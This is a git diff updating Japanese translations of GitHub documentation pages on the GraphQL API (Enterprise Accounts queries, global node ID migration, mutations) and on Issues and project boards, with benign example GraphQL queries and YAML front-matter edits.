+   - ヘッダーとして`Content-Type`を、値として`application/json`を追加してください。 ![標準ヘッダー](/assets/images/developer/graphql/json-content-type-header.png) ![Audit Log APIのためのプレビュー値を持つヘッダー](/assets/images/developer/graphql/preview-header-for-2.18.png)
 
-Now you are ready to start making queries.
+これでクエリを発行する準備ができました。
 
-## An example query using the Enterprise Accounts API
+## Enterprise Accounts APIを使ったクエリの例
 
-This GraphQL query requests the total number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each of your appliance's organizations using the Enterprise Accounts API. To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
+このGraphQLクエリは、Enterprise Accounts APIを使い、アプライアンス中の各Organization内の{% ifversion not ghae %}`パブリック`{% else %}`プライベート`{% endif %}なリポジトリの総数を要求しています。 To customize this query, replace `<enterprise-account-name>` with the handle for your enterprise account. For example, if your enterprise account is located at `https://github.com/enterprises/octo-enterprise`, replace `<enterprise-account-name>` with `octo-enterprise`.
 
 {% ifversion not ghae %}
 
 ```graphql
-query publicRepositoriesByOrganization($slug: String!) {
-  enterprise(slug: $slug) {
-    ...enterpriseFragment
+query publicRepositoriesByOrganization {
+  organizationOneAlias: organization(login: "<name-of-organization-one>") {
+    # フラグメントの使い方
+    ...repositories
   }
-}
-
-fragment enterpriseFragment on Enterprise {
-  ... on Enterprise{
-    name
-    organizations(first: 100){
-      nodes{
-        name
-        ... on Organization{
-          name
-          repositories(privacy: PUBLIC){
-            totalCount
-          }
-        }
-      }
-    }
+  organizationTwoAlias: organization(login: "<name-of-organization-two>") {
+    ...repositories
   }
+  # organizationThreeAlias ... といったように最大でたとえば100個続く
 }
-
-# Passing our Enterprise Account as a variable
-variables {
-  "slug": "<enterprise-account-name>"
+# How to define a fragment
+fragment repositories on Organization {
+  name
+  repositories(privacy: PUBLIC){
+    totalCount
+  }
 }
 ```
 
@@ -164,23 +152,23 @@ variables {
 ```
 {% endif %}
 
-The next GraphQL query example shows how challenging it is to retrieve the number of {% ifversion not ghae %}`public`{% else %}`private`{% endif %} repositories in each organization without using the Enterprise Account API.  Notice that the GraphQL Enterprise Accounts API has made this task simpler for enterprises since you only need to customize a single variable. To customize this query, replace `<name-of-organization-one>` and `<name-of-organization-two>`, etc. with the organization names on your instance.
+次のGraphQLクエリの例は、Enterprise Accounts APIを使わずに各Organization内の{% ifversion not ghae %}`public`{% else %}` private`{% endif %}なリポジトリの数を取得するのがいかに難しいかを示します。  単一の変数だけをカスタマイズすれば済むようになることから、EnterpriseにとってGraphQLのEnterprise Accounts APIがこのタスクをシンプルにしてくれていることに注意してください。 このクエリをカスタマイズするには、`<name-of-organization-one>`や`<name-of-organization-two>`などを 自分のインスタンス上のOrganization名で置き換えてください。
 
 {% ifversion not ghae %}
 ```graphql
-# Each organization is queried separately
+# 各organizationに対して個別にクエリを実行
 {
   organizationOneAlias: organization(login: "nameOfOrganizationOne") {
-    # How to use a fragment
+    # フラグメントの使い方
     ...repositories
   }
   organizationTwoAlias: organization(login: "nameOfOrganizationTwo") {
     ...repositories
   }
-  # organizationThreeAlias ... and so on up-to lets say 100
+  # organizationThreeAlias ... といったように最大でたとえば100個続く
 }
 
-## How to define a fragment
+## フラグメントの定義方法
 fragment repositories on Organization {
   name
   repositories(privacy: PUBLIC){
@@ -190,19 +178,19 @@ fragment repositories on Organization {
 ```
 {% else %}
 ```graphql
-# Each organization is queried separately
+# 各organizationに対して個別にクエリを実行
 {
   organizationOneAlias: organization(login: "name-of-organization-one") {
-    # How to use a fragment
+    # フラグメントの使い方
     ...repositories
   }
   organizationTwoAlias: organization(login: "name-of-organization-two") {
     ...repositories
   }
-  # organizationThreeAlias ... and so on up-to lets say 100
+  # organizationThreeAlias ... といったように最大でたとえば100個続く
 }
 
-## How to define a fragment
+## フラグメントの定義方法
 fragment repositories on Organization {
   name
   repositories(privacy: PRIVATE){
@@ -212,22 +200,22 @@ fragment repositories on Organization {
 ```
 {% endif %}
 
-## Query each organization separately
+## 各Organizationに対して個別にクエリを行う
 
 {% ifversion not ghae %}
 
 ```graphql
 query publicRepositoriesByOrganization {
   organizationOneAlias: organization(login: "<name-of-organization-one>") {
-    # How to use a fragment
+    # フラグメントの使用方法
     ...repositories
   }
   organizationTwoAlias: organization(login: "<name-of-organization-two>") {
     ...repositories
   }
-  # organizationThreeAlias ... and so on up-to lets say 100
+  # organizationThreeAlias ... といったように最大でたとえば100個続く
 }
-# How to define a fragment
+# フラグメントの定義方法
 fragment repositories on Organization {
   name
   repositories(privacy: PUBLIC){
@@ -241,15 +229,15 @@ fragment repositories on Organization {
 ```graphql
 query privateRepositoriesByOrganization {
   organizationOneAlias: organization(login: "<name-of-organization-one>") {
-    # How to use a fragment
+    # フラグメントの使用方法
     ...repositories
   }
   organizationTwoAlias: organization(login: "<name-of-organization-two>") {
     ...repositories
   }
-  # organizationThreeAlias ... and so on up-to lets say 100
+  # organizationThreeAlias ... といったように最大でたとえば100個続く
 }
-# How to define a fragment
+# フラグメントの定義方法
 fragment repositories on Organization {
   name
   repositories(privacy: PRIVATE){
@@ -260,7 +248,7 @@ fragment repositories on Organization {
 
 {% endif %}
 
-This GraphQL query requests the last 5 log entries for an enterprise organization. To customize this query, replace `<org-name>` and `<user-name>`.
+このGraphQLクエリは、EnterpriseのOrganizationの最新の5つのログエントリを要求します。 このクエリをカスタマイズするには、`<org-name>`と`<user-name>`を置き換えてください。
 
 ```graphql
 {
@@ -269,11 +257,11 @@ This GraphQL query requests the last 5 log entries for an enterprise organizatio
       edges {
         node {
           ... on AuditEntry {
-# Get Audit Log Entry by 'Action'
+# Audit Logのエントリを'Action'で取得
             action
             actorLogin
             createdAt
-# User 'Action' was performed on
+#  'Action'を実行したUser
            user{
               name
                 email
@@ -286,13 +274,12 @@ This GraphQL query requests the last 5 log entries for an enterprise organizatio
 }
 ```
 
-For more information about getting started with GraphQL, see "[Introduction to GraphQL](/graphql/guides/introduction-to-graphql)" and "[Forming Calls with GraphQL](/graphql/guides/forming-calls-with-graphql)."
+GraphQLの使い始め方に関する詳しい情報については「[GraphQLの紹介](/graphql/guides/introduction-to-graphql)」及び「[GraphQLでの呼び出しの作成](/graphql/guides/forming-calls-with-graphql)」を参照してください。
 
-## GraphQL fields and types for the Enterprise Accounts API
+## Enterprise Accounts APIでのGraphQLのフィールドと型
 
-Here's an overview of the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API.
+Enterprise Accounts APIで利用できる新しいクエリ、ミューテーション、スキーマ定義された型の概要を以下に示します。
 
-For more details about the new queries, mutations, and schema defined types available for use with the Enterprise Accounts API, see the sidebar with detailed GraphQL definitions from any [GraphQL reference page](/graphql).
+Enterprise APIで利用できる新しいクエリ、ミューテーション、スキーマ定義された型に関する詳しい情報については、任意の[GraphQLリファレンスページ](/graphql)の詳細なGraphQLの定義があるサイドバーを参照してください。
 
-You can access the reference docs from within the GraphQL explorer on GitHub. For more information, see "[Using the explorer](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)."
-For other information, such as authentication and rate limit details, check out the [guides](/graphql/guides).
+GitHub上のGraphQL Explorer内からリファレンスドキュメントにアクセスできます。 詳しい情報については「[Explorerの利用](/graphql/guides/using-the-explorer#accessing-the-sidebar-docs)」を参照してください。 認証やレート制限の詳細など その他の情報については[ガイド](/graphql/guides)を参照してください。
diff --git a/translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md b/translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md
index 7f22a366ab..eecfddf576 100644
--- a/translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md
+++ b/translations/ja-JP/content/graphql/guides/migrating-graphql-global-node-ids.md
@@ -1,6 +1,6 @@
 ---
 title: Migrating GraphQL global node IDs
-intro: 'Learn about the two global node ID formats and how to migrate from the legacy format to the new format.'
+intro: Learn about the two global node ID formats and how to migrate from the legacy format to the new format.
 versions:
   fpt: '*'
   ghec: '*'
@@ -9,9 +9,9 @@ topics:
 shortTitle: Migrating global node IDs
 ---
 
-## Background
+## 背景
 
-The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary. 
+The {% data variables.product.product_name %} GraphQL API currently supports two types of global node ID formats. The legacy format will be deprecated and replaced with a new format.  This guide shows you how to migrate to the new format, if necessary.
 
 By migrating to the new format, you ensure that the response times of your requests remain consistent and small. You also ensure that your application continues to work once the legacy IDs are fully deprecated.
 
@@ -26,7 +26,7 @@ Additionally, if you currently decode the legacy IDs to extract type information
 
 ## Migrating to the new global IDs
 
-To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date. 
+To facilitate migration to the new ID format, you can use the `X-Github-Next-Global-ID` header in your GraphQL API requests. The value of the `X-Github-Next-Global-ID` header can be `1` or `0`.  Setting the value to `1` will force the response payload to always use the new ID format for any object that you requested the `id` field for.  Setting the value to `0` will revert to default behavior, which is to show the legacy ID or new ID depending on the object creation date.
 
 Here is an example request using cURL:
 
@@ -42,8 +42,7 @@ Even though the legacy ID `MDQ6VXNlcjM0MDczMDM=` was used in the query, the resp
 ```
 {"data":{"node":{"id":"U_kgDOADP9xw"}}}
 ```
-With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. 
-To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
+With the `X-Github-Next-Global-ID` header, you can find the new ID format for legacy IDs that you reference in your application. You can then update those references with the ID received in the response. You should update all references to legacy IDs and use the new ID format for any subsequent requests to the API. To perform bulk operations, you can use aliases to submit multiple node queries in one API call. For more information, see "[the GraphQL docs](https://graphql.org/learn/queries/#aliases)."
 
 You can also get the new ID for a collection of items. For example, if you wanted to get the new ID for the last 10 repositories in your organization, you could use a query like this:
 ```
@@ -64,6 +63,6 @@ You can also get the new ID for a collection of items. For example, if you wante
 
 Note that setting `X-Github-Next-Global-ID` to `1` will affect the return value of every `id` field in your query.  This means that even when you submit a non-`node` query, you will get back the new format ID if you requested the `id` field.
 
-## Sharing feedback
+## フィードバックを送る
 
 If you have any concerns about the rollout of this change impacting your app, please [contact {% data variables.product.product_name %}](https://support.github.com/contact) and include information such as your app name so that we can better assist you.
diff --git a/translations/ja-JP/content/graphql/index.md b/translations/ja-JP/content/graphql/index.md
index 61e400a8c7..c15c95c8d7 100644
--- a/translations/ja-JP/content/graphql/index.md
+++ b/translations/ja-JP/content/graphql/index.md
@@ -1,23 +1,23 @@
 ---
-title: GitHub GraphQL API
+title: GitHubのGraphQL API
 intro: 'To create integrations, retrieve data, and automate your workflows, use the {% data variables.product.prodname_dotcom %} GraphQL API. The {% data variables.product.prodname_dotcom %} GraphQL API offers more precise and flexible queries than the {% data variables.product.prodname_dotcom %} REST API.'
 shortTitle: GraphQL API
 introLinks:
   overview: /graphql/overview/about-the-graphql-api
 featuredLinks:
   guides:
-  - /graphql/guides/forming-calls-with-graphql
-  - /graphql/guides/introduction-to-graphql
-  - /graphql/guides/using-the-explorer
+    - /graphql/guides/forming-calls-with-graphql
+    - /graphql/guides/introduction-to-graphql
+    - /graphql/guides/using-the-explorer
   popular:
-  - /graphql/overview/explorer
-  - /graphql/overview/public-schema
-  - /graphql/overview/schema-previews
-  - /graphql/guides/using-the-graphql-api-for-discussions
+    - /graphql/overview/explorer
+    - /graphql/overview/public-schema
+    - /graphql/overview/schema-previews
+    - /graphql/guides/using-the-graphql-api-for-discussions
   guideCards:
-  - /graphql/guides/migrating-from-rest-to-graphql
-  - /graphql/guides/managing-enterprise-accounts
-  - /graphql/guides/using-global-node-ids
+    - /graphql/guides/migrating-from-rest-to-graphql
+    - /graphql/guides/managing-enterprise-accounts
+    - /graphql/guides/using-global-node-ids
 changelog:
   label: 'api, apis'
 layout: product-landing
diff --git a/translations/ja-JP/content/graphql/reference/mutations.md b/translations/ja-JP/content/graphql/reference/mutations.md
index 73f190ae96..fc19596a78 100644
--- a/translations/ja-JP/content/graphql/reference/mutations.md
+++ b/translations/ja-JP/content/graphql/reference/mutations.md
@@ -1,5 +1,5 @@
 ---
-title: Mutations
+title: ミューテーション
 redirect_from:
   - /v4/mutation
   - /v4/reference/mutation
@@ -12,11 +12,11 @@ topics:
   - API
 ---
 
-## About mutations
+## ミューテーションについて
 
-Every GraphQL schema has a root type for both queries and mutations. The [mutation type](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System) defines GraphQL operations that change data on the server. It is analogous to performing HTTP verbs such as `POST`, `PATCH`, and `DELETE`.
+すべてのGraphQLスキーマは、クエリとミューテーションの両方についてルート型を持っています。 [ミューテーション型](https://graphql.github.io/graphql-spec/June2018/#sec-Type-System)は、サーバー上のデータを変更するGraphQLの操作を定義します。 これは、`POST`、`PATCH`、`DELETE`といったHTTPのメソッドを実行するのに似ています。
 
-For more information, see "[About mutations](/graphql/guides/forming-calls-with-graphql#about-mutations)."
+詳しい情報については「[ミューテーションについて](/graphql/guides/forming-calls-with-graphql#about-mutations)」を参照してください。
 
 <!-- this page is pre-rendered by scripts because it's too big to load dynamically -->
 <!-- see lib/graphql/static/prerendered-mutations.json -->
diff --git a/translations/ja-JP/content/issues/guides.md b/translations/ja-JP/content/issues/guides.md
index 1653a48f87..0d4e97aec2 100644
--- a/translations/ja-JP/content/issues/guides.md
+++ b/translations/ja-JP/content/issues/guides.md
@@ -1,7 +1,7 @@
 ---
 title: Issues guides
-shortTitle: Guides
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+shortTitle: ガイド
+intro: '作業を計画し、追跡するために{% data variables.product.prodname_github_issues %}を使う方法を学んでください。'
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
@@ -25,3 +25,4 @@ includeGuides:
   - /issues/using-labels-and-milestones-to-track-work/managing-labels
   - /issues/using-labels-and-milestones-to-track-work/creating-and-editing-milestones-for-issues-and-pull-requests
 ---
+
diff --git a/translations/ja-JP/content/issues/index.md b/translations/ja-JP/content/issues/index.md
index 7b78e0992a..2b9e74304f 100644
--- a/translations/ja-JP/content/issues/index.md
+++ b/translations/ja-JP/content/issues/index.md
@@ -1,7 +1,7 @@
 ---
-title: GitHub Issues
-shortTitle: GitHub Issues
-intro: 'Learn how you can use {% data variables.product.prodname_github_issues %} to plan and track your work.'
+title: GitHubのIssue
+shortTitle: GitHubのIssue
+intro: '作業を計画し、追跡するために{% data variables.product.prodname_github_issues %}を使う方法を学んでください。'
 introLinks:
   overview: /issues/tracking-your-work-with-issues/creating-issues/about-issues
   quickstart: /issues/tracking-your-work-with-issues/quickstart
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
index 833004a4f8..c4e869911c 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards.md
@@ -1,6 +1,6 @@
 ---
-title: About project boards
-intro: 'Project boards on {% data variables.product.product_name %} help you organize and prioritize your work. You can create project boards for specific feature work, comprehensive roadmaps, or even release checklists. With project boards, you have the flexibility to create customized workflows that suit your needs.'
+title: プロジェクトボードについて
+intro: '{% data variables.product.product_name %}のプロジェクトボードは、作業を整理して優先順位付けするための役に立ちます。 プロジェクトボードは、特定の機能の作業、包括的なロードマップ、さらにはリリースのチェックリストのためにも作成できます。 プロジェクトボードを使うと、要求に適したカスタマイズされたワークフローを作成する柔軟性が得られます。'
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/about-project-boards
   - /articles/about-projects
@@ -17,58 +17,59 @@ topics:
 
 {% data reusables.projects.project_boards_old %}
 
-Project boards are made up of issues, pull requests, and notes that are categorized as cards in columns of your choosing. You can drag and drop or use keyboard shortcuts to reorder cards within a column, move cards from column to column, and change the order of columns.
+プロジェクトボードは、Issue、プルリクエスト、選択した列内でカードとして分類されるノートから構成されます。 列内のカードの並び替え、列から列へのカードの移動、および列の順序の変更には、ドラッグアンドドロップまたはキーボードショートカットが利用できます。
 
-Project board cards contain relevant metadata for issues and pull requests, like labels, assignees, the status, and who opened it. {% data reusables.project-management.edit-in-project %}
+プロジェクトボードのカードには、ラベル、アサインされた人、スタータス、オープンした人など、Issueやプルリクエストに関連するメタデータが含まれます。 {% data reusables.project-management.edit-in-project %}
 
-You can create notes within columns to serve as task reminders, references to issues and pull requests from any repository on {% data variables.product.product_location %}, or to add information related to the project board. You can create a reference card for another project board by adding a link to a note. If the note isn't sufficient for your needs, you can convert it to an issue. For more information on converting project board notes to issues, see "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+タスクのリマインダとして機能するノートを列内に作成し、{% data variables.product.product_location %} 上の任意のリポジトリからの Issue やプルリクエストを参照させたり、プロジェクトボードに関係する情報を追加したりすることができます。 ノートにリンクを追加することで、他のプロジェクトを参照するカードを作成することもできます。 ノートでは要求を満たせない場合、ノートを Issue に変換することができます。 プロジェクトボードのノートのIssueへの変換に関する詳しい情報については[プロジェクトボードへのノートの追加](/articles/adding-notes-to-a-project-board)を参照してください。
 
-Types of project boards:
+プロジェクトボードには以下の種類があります:
 
-- **User-owned project boards** can contain issues and pull requests from any personal repository.
-- **Organization-wide project boards** can contain issues and pull requests from any repository that belongs to an organization.  {% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
-- **Repository project boards** are scoped to issues and pull requests within a single repository. They can also include notes that reference issues and pull requests in other repositories.
+- **ユーザが所有するプロジェクトボード**には、任意の個人リポジトリからの Issue およびプルリクエストを含めることができます。
+- **Organization内プロジェクトボード**は、Organizationに属する任意のリポジトリからのIssueやプルリクエストを含むことができます。  {% data reusables.project-management.link-repos-to-project-board %}詳細は「[リポジトリをプロジェクトボードにリンクする](/articles/linking-a-repository-to-a-project-board)」を参照してください。
+- **リポジトリプロジェクトボード**は、単一のリポジトリ内の Issue とプルリクエストを対象とします。 他のリポジトリの Issue やプルリクエストを参照するノートも含まれます。
 
-## Creating and viewing project boards
+## プロジェクトボードの作成と表示
 
-To create a project board for your organization, you must be an organization member. Organization owners and people with project board admin permissions can customize access to the project board.
+Organization にプロジェクトボードを作成するには、Organization のメンバーでなければなりません。 Organization のオーナーおよびプロジェクトボードの管理者権限を持っている人は、プロジェクトボードへのアクセスをカスタマイズできます。
 
-If an organization-owned project board includes issues or pull requests from a repository that you don't have permission to view, the card will be redacted.  For more information, see "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)."
+Organization が所有するプロジェクトボードに、あなたが表示する権限を持っていないリポジトリからの Issue あるいはプルリクエストが含まれている場合、そのカードは削除編集されます。  詳しい情報については、「[Organization のプロジェクトボードの権限](/articles/project-board-permissions-for-an-organization)」を参照してください。
 
-The activity view shows the project board's recent history, such as cards someone created or moved between columns. To access the activity view, click **Menu** and scroll down.
+アクティビティビューには、誰かが作成したカードや、列間での移動など、プロジェクトの最近の履歴が表示されます。 アクティビティビューにアクセスするには、[**Menu**] をクリックしてスクロールダウンします。
 
-To find specific cards on a project board or view a subset of the cards, you can filter project board cards. For more information, see "[Filtering cards on a project board](/articles/filtering-cards-on-a-project-board)."
+プロジェクトボード上で特定のカードを見つける、あるいはカード群の一部を見るために、プロジェクトボードカードをフィルタリングできます。 詳細は「[プロジェクトボード上でカードをフィルタリングする](/articles/filtering-cards-on-a-project-board)」を参照してください。
 
-To simplify your workflow and keep completed tasks off your project board, you can archive cards. For more information, see "[Archiving cards on a project board](/articles/archiving-cards-on-a-project-board)."
+ワークフローをシンプルにし、完了したタスクをプロジェクトボードから外しておくために、カードをアーカイブできます。 詳細は「[プロジェクトボードのカードをアーカイブする](/articles/archiving-cards-on-a-project-board)」を参照してください。
 
-If you've completed all of your project board tasks or no longer need to use your project board, you can close the project board. For more information, see "[Closing a project board](/articles/closing-a-project-board)."
+プロジェクトボードのタスクがすべて完了した、あるいはプロジェクトボードを使う必要がなくなったりした場合には、プロジェクトボードをクローズできます。 詳しい情報については[プロジェクトボードのクローズ](/articles/closing-a-project-board)を参照してください。
 
-You can also [disable project boards in a repository](/articles/disabling-project-boards-in-a-repository) or [disable project boards in your organization](/articles/disabling-project-boards-in-your-organization), if you prefer to track your work in a different way.
+また、別の方法で作業を追跡したい場合は、[リポジトリ中でプロジェクトボードを無効化する](/articles/disabling-project-boards-in-a-repository)、あるいは[Organization 内でプロジェクトボードを無効化する](/articles/disabling-project-boards-in-your-organization)こともできます。
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Templates for project boards
+## プロジェクトボードのテンプレート
 
-You can use templates to quickly set up a new project board. When you use a template to create a project board, your new board will include columns as well as cards with tips for using project boards. You can also choose a template with automation already configured.
+テンプレートを使って、新しいプロジェクトボードを素早くセットアップできます。 テンプレートを使用してプロジェクトボードを作成すると、新しいボードには、列だけでなく、プロジェクトボードの便利な利用方法が書かれたカードが付きます。 また、自動化が設定済みのテンプレートを選択することもできます。
 
-| Template | Description |
-| --- | --- |
-| Basic kanban | Track your tasks with To do, In progress, and Done columns |
-| Automated kanban | Cards automatically move between To do, In progress, and Done columns | 
-| Automated kanban with review | Cards automatically move between To do, In progress, and Done columns, with additional triggers for pull request review status |
-| Bug triage | Triage and prioritize bugs with To do, High priority, Low priority, and Closed columns |
+| テンプレート                       | 説明                                                                             |
+| ---------------------------- | ------------------------------------------------------------------------------ |
+| Basic kanban                 | [To do]、[In progress]、[Done] 列でタスクを追跡します。                                      |
+| Automated kanban             | カードは自動的に [To do]、[In progress]、[Done] の列間を移動します。                               |
+| Automated kanban with review | プルリクエストレビューのステータスのための追加のトリガーで、カードは [To do]、[In progress]、[Done] 列の間を自動的に移動します。 |
+| Bug triage                   | [To do]、[High priority]、[Low priority]、[Closed] 列でバグのトリアージと優先順位付けをします。         |
 
-For more information on automation for project boards, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+プロジェクトボードのための自動化に関する詳しい情報については、「[プロジェクトボードの自動化について](/articles/about-automation-for-project-boards)」を参照してください。
 
-![Project board with basic kanban template](/assets/images/help/projects/project-board-basic-kanban-template.png)
+![basic kanban テンプレートでのプロジェクトボード](/assets/images/help/projects/project-board-basic-kanban-template.png)
 
 {% data reusables.project-management.copy-project-boards %}
 
-## Further reading
+## 参考リンク
 
-- "[Creating a project board](/articles/creating-a-project-board)"
-- "[Editing a project board](/articles/editing-a-project-board)"{% ifversion fpt or ghec %}
-- "[Copying a project board](/articles/copying-a-project-board)"{% endif %}
-- "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
-- "[Keyboard shortcuts](/articles/keyboard-shortcuts/#project-boards)"
+- [プロジェクトボードの作成](/articles/creating-a-project-board)
+- [プロジェクトボードの編集](/articles/editing-a-project-board){% ifversion fpt or ghec %}
+- [プロジェクトボードのコピー](/articles/copying-a-project-board)
+{% endif %}
+- [プロジェクトボードへの Issue およびプルリクエストの追加](/articles/adding-issues-and-pull-requests-to-a-project-board)
+- [Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-organization)
+- [キーボードショートカット](/articles/keyboard-shortcuts/#project-boards)
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
index 4dbbbda931..7f2a1cc9fa 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/closing-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Closing a project board
-intro: 'If you''ve completed all the tasks in a project board or no longer need to use a project board, you can close the project board.'
+title: プロジェクトボードをクローズする
+intro: プロジェクトボードのタスクをすべて完了したか、プロジェクトボードを使う必要がなくなった場合、そのプロジェクトボードをクローズできます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/closing-a-project-board
   - /articles/closing-a-project
@@ -14,22 +14,21 @@ versions:
 topics:
   - Pull requests
 ---
+
 {% data reusables.projects.project_boards_old %}
 
-When you close a project board, any configured workflow automation will pause by default.
+プロジェクトボードをクローズすると、設定されたワークフローの自動化はデフォルトですべて停止します。
 
-If you reopen a project board, you have the option to *sync* automation, which updates the position of the cards on the board according to the automation settings configured for the board. For more information, see "[Reopening a closed project board](/articles/reopening-a-closed-project-board)" or "[About automation for project boards](/articles/about-automation-for-project-boards)."
+プロジェクトボードを再びオープンする場合、自動化を*同期*するよう設定することができます。それにより、ボードに設定されている自動化設定に従ってボード上のカードのポジションが更新されます。 詳しい情報については、「[クローズされたプロジェクトボードを再びオープンする](/articles/reopening-a-closed-project-board)」や「[プロジェクトボードの自動化について](/articles/about-automation-for-project-boards)」を参照してください。
 
 1. Navigate to the list of project boards in your repository or organization, or owned by your user account.
-2. In the projects list, next to the project board you want to close, click {% octicon "chevron-down" aria-label="The chevron icon" %}.
-![Chevron icon to the right of the project board's name](/assets/images/help/projects/project-list-action-chevron.png)
-3. Click **Close**.
-![Close item in the project board's drop-down menu](/assets/images/help/projects/close-project.png)
+2. プロジェクトリストで、クローズしたいプロジェクトボードの隣にある {% octicon "chevron-down" aria-label="The chevron icon" %}をクリックします。 ![プロジェクトボードの名前の右にある、V 字型のアイコン](/assets/images/help/projects/project-list-action-chevron.png)
+3. [**Close**] をクリックします。 ![プロジェクトボードのドロップダウンメニューにある [Close] アイテム](/assets/images/help/projects/close-project.png)
 
-## Further reading
+## 参考リンク
 
-- "[About project boards](/articles/about-project-boards)"
-- "[Deleting a project board](/articles/deleting-a-project-board)"
-- "[Disabling project boards in a repository](/articles/disabling-project-boards-in-a-repository)"
-- "[Disabling project boards in your organization](/articles/disabling-project-boards-in-your-organization)"
-- "[Project board permissions for an organization](/articles/project-board-permissions-for-an-organization)"
+- [プロジェクトボードについて](/articles/about-project-boards)
+- [プロジェクトボードの削除](/articles/deleting-a-project-board)
+- [リポジトリ内のプロジェクトボードを無効化](/articles/disabling-project-boards-in-a-repository)
+- "[Organization 内のプロジェクトボードの無効化](/articles/disabling-project-boards-in-your-organization)"
+- [Organization のプロジェクトボード権限](/articles/project-board-permissions-for-an-organization)
diff --git a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
index 712cb6f12d..8f7f6f57c3 100644
--- a/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
+++ b/translations/ja-JP/content/issues/organizing-your-work-with-project-boards/managing-project-boards/creating-a-project-board.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a project board
-intro: 'Project boards can be used to create customized workflows to suit your needs, like tracking and prioritizing specific feature work, comprehensive roadmaps, or even release checklists.'
+title: プロジェクトボードの作成
+intro: プロジェクトボードは、特定機能の働きの追跡と優先度付け、総合的なロードマップ、さらにはリリースチェックリストなど、ニーズを満たすカスタマイズワークフローを作成するために使用できます。
 redirect_from:
   - /github/managing-your-work-on-github/managing-project-boards/creating-a-project-board
   - /articles/creating-a-project
@@ -18,25 +18,25 @@ topics:
   - Project management
 type: how_to
 ---
+
 {% data reusables.projects.project_boards_old %}
 
 {% data reusables.project-management.use-automated-template %}
 
 {% data reusables.project-management.copy-project-boards %}
 
-{% data reusables.project-management.link-repos-to-project-board %} For more information, see "[Linking a repository to a project board](/articles/linking-a-repository-to-a-project-board)."
+{% data reusables.project-management.link-repos-to-project-board %}詳細は「[リポジトリをプロジェクトボードにリンクする](/articles/linking-a-repository-to-a-project-board)」を参照してください。
 
-Once you've created your project board, you can add issues, pull requests, and notes to it. For more information, see "[Adding issues and pull requests to a project board](/articles/adding-issues-and-pull-requests-to-a-project-board)" and "[Adding notes to a project board](/articles/adding-notes-to-a-project-board)."
+プロジェクトボードの作成が完了すると、そこへ Issue、プルリクエスト、およびノートを追加できます。 詳細は「[プロジェクトボードに Issue およびプルリクエストを追加する](/articles/adding-issues-and-pull-requests-to-a-project-board)」および「[プロジェクトボードにノートを追加する](/articles/adding-notes-to-a-project-board)」を参照してください。
 
-You can also configure workflow automations to keep your project board in sync with the status of issues and pull requests. For more information, see "[About automation for project boards](/articles/about-automation-for-project-boards)."
+また、プロジェクトボードが Issue やプルリクエストのステータスと同期を保てるよう、ワークフローの自動化を設定することもできます。 詳しい情報については「[プロジェクトボードの自動化について](/articles/about-automation-for-project-boards)」を参照してください。
 
 {% data reusables.project-management.project-board-import-with-api %}
 
-## Creating a user-owned project board
+## ユーザが所有するプロジェクトボードの作成
 
 {% data reusables.profile.access_profile %}
-2. On the top of your profile page, in the main navigation, click {% octicon "project" aria-label="The project board icon" %} **Projects**.
-![Project tab](/assets/images/help/projects/user-projects-tab.png)
+2. プロフィールページの一番上のメインナビゲーションにある{% octicon "project" aria-label="The project board icon" %}[**Projects**] をクリックします。 ![プロジェクトタブ](/assets/images/help/projects/user-projects-tab.png)
 {% data reusables.project-management.click-new-project %}
 {% data reusables.project-management.create-project-name-description %}
